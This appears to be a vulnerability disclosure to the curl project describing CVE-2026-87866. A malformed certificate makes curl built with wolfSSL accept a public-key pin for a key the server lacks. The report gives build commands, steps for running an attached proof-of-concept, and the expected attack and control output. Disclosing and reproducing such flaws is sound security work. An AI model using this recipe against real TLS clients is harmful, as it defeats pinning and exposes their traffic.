curl · Report #3989514
CVE-2026-87866: wolfSSL public-key pinning bypass
How it was found
Summary
curl 8.22.0 built with wolfSSL can accept a CURLOPT_PINNEDPUBLICKEY hash for a key the TLS peer does not possess.
wolfSSL completes the TLS handshake using public key A from a malformed certificate. curl then reparses the same DER using Curl_parseX509() and, because of a manipulated validity length, selects embedded SPKI B.
The server has only private key A, but pin B is accepted and curl sends the HTTP request.
This is not a CA-validation claim. The PoC uses curl's documented pinning-only mode (-k with --pinnedpubkey), where the public-key pin must still be verified independently.
Steps To Reproduce
Prerequisites: git, curl, unzip, openssl, clang/clang++, make, Autotools, pkg-config, and zlib development headers.
- Extract the attached bundle and prepare isolated paths:
unzip SUBMISSION-CURL-WOLFSSL-X509-PIN-BYPASS-20260902-H1-FINAL.zip
POC_DIR="$(pwd)/wolfssl-x509-pin-bypass"
REPRO_ROOT="$(mktemp -d)"
WOLFSSL_PREFIX="$REPRO_ROOT/wolfssl-install"
- Build wolfSSL 5.9.2:
git clone --depth 1 --branch v5.9.2-stable \
https://github.com/wolfSSL/wolfssl.git "$REPRO_ROOT/wolfssl"
cd "$REPRO_ROOT/wolfssl"
./autogen.sh
CC=clang \
CFLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \
LDFLAGS='-fsanitize=address,undefined' \
./configure --prefix="$WOLFSSL_PREFIX" \
--enable-tls13 --enable-harden --enable-ed25519 \
--enable-sessioncerts --enable-opensslextra \
--disable-benchmark --disable-crypttests
make -j"$(nproc)"
make install
- Download, verify, and build curl 8.22.0:
cd "$REPRO_ROOT"
curl -LO https://curl.se/download/curl-8.22.0.tar.xz
printf '%s %s\n' \
f7ef3ae8a22e521f289803fe93543eb64c329b58aa73a9e224dfd915a2a5f4f7 \
curl-8.22.0.tar.xz | sha256sum -c -
tar -xf curl-8.22.0.tar.xz
cd curl-8.22.0
CC=clang \
CFLAGS='-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined' \
CPPFLAGS="-I$WOLFSSL_PREFIX/include" \
LDFLAGS="-L$WOLFSSL_PREFIX/lib -Wl,-rpath,$WOLFSSL_PREFIX/lib -fsanitize=address,undefined" \
./configure --with-wolfssl="$WOLFSSL_PREFIX" \
--without-libpsl --without-brotli --without-zstd --without-nghttp2 \
--enable-debug --disable-shared
make -j"$(nproc)"
- Run the end-to-end attack and controls:
CURL_BIN="$REPRO_ROOT/curl-8.22.0/src/curl" \
WOLFSSL_SRC="$REPRO_ROOT/wolfssl" \
"$POC_DIR/poc/reproduce.sh"
Expected:
malformed A + pin B -> exit 0, HTTP 200, canary GET received
malformed A + pin A -> exit 90, HTTP 000, no request
valid A + pin A -> exit 0, HTTP 200, canary GET received
valid A + pin B -> exit 90, HTTP 000, no request
PASS: attack case and all three negative controls matched expectations
The server uses poc/key-a.pem only. No private key corresponding to pin B is provided to the server.
- Confirm that both parsers select different public keys from the same certificate DER:
CURL_BUILD="$REPRO_ROOT/curl-8.22.0" \
WOLFSSL_PREFIX="$WOLFSSL_PREFIX" \
"$POC_DIR/poc/run-differential.sh"
Expected:
X509_DIFF der=285 curl_off=136 curl_len=44 backend_off=77 backend_len=44 input_equal=1
CURL_SPKI_SHA256=97b8b62490b44349d24429bcf466c2023933c3e3b206465cf7f2a819e53f3a1b
BACKEND_SPKI_SHA256=c5683b7ecce8c958e929f718afa669fedfcaf1013cdea29ab9162327213a2bbe
PASS: the same DER maps to backend SPKI A and curl SPKI B
Attachments
SUBMISSION-CURL-WOLFSSL-X509-PIN-BYPASS-20260902-H1-FINAL.zip
Impact
An attacker controlling a TLS endpoint, but not possessing the pinned private key, can make wolfSSL-backed curl accept the connection as matching that pin and receive the application request sent after the bypass.
This breaks the authentication guarantee of curl's public-key pinning mechanism.